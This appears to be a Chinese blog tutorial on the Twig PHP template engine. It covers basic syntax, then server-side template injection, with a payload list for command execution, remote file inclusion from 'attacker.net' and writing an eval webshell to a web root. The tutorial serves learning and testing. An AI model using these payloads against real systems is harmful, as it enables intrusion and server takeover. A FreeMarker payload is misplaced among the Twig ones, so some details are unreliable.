前言
SSTI,但是这次的模板是PHP上的Twig
官方文档:https://twig.symfony.com/doc/
1.x中文文档:https://www.kancloud.cn/yunye/twig-cn/159454
2.x中文文档:https://twig.shujuwajue.com/
3.x中文文档:https://www.osgeo.cn/twig/intro.html
参考:https://xz.aliyun.com/t/10056
配置
Twig1.x:PHP>=5.2.7(我composer下载的要求要7.2.5以上了);Twig2.x:PHP>=7.0.0;Twig3.x:PHP>=7.2.5
我这里用PHP5.6.9配1.x,PHP7.3.4配2.x和3.x
通过composer安装:
composer require "twig/twig:^3.0"
安装之后可以直接使用 Twig 的 PHP API 进行调用:
<?php
require_once __DIR__.'/vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader([
'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', ['name' => 'admin']);
Twig 首先使用一个加载器 Twig_Loader_Array
来定位模板,然后使用一个环境变量 Twig_Environment
来存储配置信息。
其中, render()
方法通过其第一个参数载入模板,并通过第二个参数中的变量来渲染模板。
Twig基础语法
模板是一个常规的文本文件。它可以生成任何基于文本的格式(HTML、XML、CSV、LaTeX等)。它没有特定的扩展名, .html
、.xml
、.twig
都可以
模板包含变量或表达式,在评估编译模板时,这些带值的变量或表达式会被替换。还有一些控制模板逻辑的标签 tags。
简单的模板演示:
先创建一个templates文件夹,在里面创建templates.html
<!DOCTYPE html>
<html>
<head>
<title>My Webpage</title>
</head>
<body>
<ul id="navigation">
{% for item in navigation %}
<li><a href="{{ item.href }}">{{ item.caption }}</a></li>
{% endfor %}
</ul>
<h1>My Webpage</h1>
{{ a_variable }}
</body>
</html>
然后index.php改为
<?php
require_once 'vendor/autoload.php';
use Twig\Environment;
use Twig\Loader\FilesystemLoader;
// 创建Twig模板加载器
$loader = new FilesystemLoader(__DIR__.'/templates');
// 创建Twig环境
$twig = new Environment($loader);
// 准备要传递给模板的数据
$data = [
'navigation' => [
['href' => '/home', 'caption' => 'Home'],
['href' => '/about', 'caption' => 'About'],
['href' => '/contact', 'caption' => 'Contact'],
],
'a_variable' => 'This is a variable value',
];
// 渲染Twig模板,并将数据传递给模板
$html = $twig->render('template.html', $data);
// 输出渲染后的HTML
echo $html;
可以发现模板中采用了两种形式的分隔符:{% ... %}
和 {{ ... }}
。
和之前见过的模板一样,前者会执行语句,例如 for
循环,后者用于将表达式的结果输出到模板中
变量
使用 .
来访问变量中的属性/方法/数组单元,也可以使用subscript语法 []
{{ foo.bar }}
{{ foo['bar'] }}
可以用set
标签为变量赋值
{% set foo = 'foo' %}
{% set foo = [1, 2] %}
{% set foo = {'foo': 'bar'} %}
过滤器
和jinja一样,可以通过过滤器 filters 来修改模板中的变量
变量与过滤器或多个过滤器之间使用 |
分隔,还可以在括号中加入可选参数。可以连接多个过滤器,一个过滤器的输出结果将用于下一个过滤器中
自行参考官方文档:https://twig.symfony.com/doc/3.x/filters/index.html
下面整点例子:
去掉HTML标签+大写字母开头
{{ name|striptags|title }}
demo:
{{ '<a>whoami<a>'|striptags|title }}
接收一个序列 list
+ 使用 join
中指定的分隔符将序列中的项合并成一个字符串
{{ list|join }}
{{ list|join(', ') }}
demo:
{{ ['a', 'b', 'c']|join }}
{{ ['a', 'b', 'c']|join('|') }}
函数
在Twig模板中可以直接调用函数
内置函数见官方文档:https://twig.symfony.com/doc/3.x/functions/index.html
demo:
{% for i in range(0, 3) %}
{{ i }},
{% endfor %}
控制结构
指控制程序流程的所有控制语句 if
、elseif
、else
、for
等,以及程序块等等
出现在 {% ... %}
中
tag见官方文档:https://twig.symfony.com/doc/3.x/tags/index.html
前面就演示过的for循环语句
{% for item in navigation %}
<li><a href="{{ item.href }}">{{ item.caption }}</a></li>
{% endfor %}
'navigation' => [
['href' => '/home', 'caption' => 'Home'],
['href' => '/about', 'caption' => 'About'],
['href' => '/contact', 'caption' => 'Contact'],
]
注释
{ # ...# }
不多解释
引入其他模板
{{ include('sidebar.html') }}
模板继承
Twig最强大的地方,但我暂时用不到就不想写,毕竟我自己博客是ejs模板(
SSTI
和其他的模板注入一样,Twig 模板注入也是发生在直接将用户输入作为模板,如下
<?php
require_once __DIR__.'/vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();
很明显在createTemplate
时注入了 $_GET['name']
所以正确的写法应该是下面这样:
<?php
require_once __DIR__.'/vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader([
'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', ['name' => $_GET['name']]);
1.x
依旧是在PHP7.3.4配置的twig1.0
<?php
require_once 'vendor/autoload.php';
$loader = new Twig_Loader_String();
$twig = new Twig_Environment($loader);
echo $twig->render($_GET['name']);
在 Twig 1.x 中存在三个全局变量:
_self
:引用当前模板的实例_context
:引用当前上下文_charset
:引用当前字符集
对应的代码是:
protected $specialVars = [
'_self' => '$this',
'_context' => '$context',
'_charset' => '$this->env->getCharset()',
];
这里主要就是利用 _self
变量,它会返回当前 \Twig\Template
实例,并提供了指向 Twig_Environment
的 env
属性,这样我们就可以继续调用 Twig_Environment
中的其他方法,从而进行 SSTI。
payload:
命令执行
在
getFilter
中有call_user_func
,传参进去实现命令执行{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /etc/passwd")}}
也可以用下面这个
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat /etc/passwd") }
远程文件包含
调用
setCache
方法改变 Twig 加载 PHP 文件的路径,在allow_url_include
开启的情况下我们可以改变路径实现RFI{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
2.x&3.x
Twig 2.x 及 Twig 3.x 以后,_self
的作用发生了变化,只能返回当前实例名字符串
<?php
require_once __DIR__.'/vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();
先上payload,有时间再补流程:
{{["id"]|map("system")}}
{{["id"]|map("passthru")}}
{{["id"]|map("exec")}} // 无回显
{{["phpinfo();"]|map("assert")|join(",")}}
{{{"<?php phpinfo();eval($_POST[cmd])":"/var/www/html/shell.php"}|map("file_put_contents")}} // 写 Webshell
{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}} // 无回显
{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}} // 无回显